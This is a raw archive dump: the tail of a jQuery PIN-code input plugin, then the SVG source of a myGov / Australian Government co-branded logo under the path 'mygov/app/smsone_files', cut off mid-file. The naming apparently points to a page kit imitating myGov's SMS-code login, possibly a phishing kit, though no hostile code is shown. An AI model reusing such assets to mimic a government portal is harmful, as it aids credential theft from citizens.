0){ //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, '')); var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, ''); $('.pincode-input-text',this._container).each(function( index, value ) { $(value).val(newLineCheck); }); this.updateOriginalInput(); } } },this)); } }); // A really lightweight plugin wrapper around the constructor, // preventing against multiple instantiations $.fn[ pluginName ] = function ( options ) { return this.each(function() { if ( !$.data( this, "plugin_" + pluginName ) ) { $.data( this, "plugin_" + pluginName, new Plugin( this, options ) ); } }); }; })( jQuery, window, document ); mygov/app/smsone_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016761 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" 